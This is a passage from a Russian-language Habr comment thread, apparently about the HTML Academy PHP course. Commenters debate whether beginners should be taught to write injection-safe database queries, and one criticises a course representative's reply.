И выяснить, что это, оказывается, не я такой революционер и ниспровергатель. А на курсе уже сейчас студенту "забивают голову" именно этим. А я предлагаю всего лишь сократить объём информации, сделав её более последовательной. Но главное тут конечно то, что студенты перестанут писать код с инъекциями.
AlexPershin
https://habr.com/ru/post/672800/comments/#comment_24496672
init0
На самом деле отличный ответ. Отличный в плане подтверждения слов автора поста о некомпетентности авторов курса по php на "HTML Academy". В тред пришел представитель HTML Academy и попытался привести аргументы против (на мой взгляд совершенно несостоятельные и нелогичные, чего только стоит фраза "а зачем забивать студенту голову тонкостями мегабезопасного составления строчек для баз данных на курсе начального уровня ") на что получил ответные аргументы и после этого как это принято говорить - банально слился.
Hardcoin
Мой акцент был про совпадение версий, а не про исключения. Исключения новичок в любом случае увидит, они там везде. Давать глубокую концепцию исключений в самом первом курсе действительно не надо, вы правы.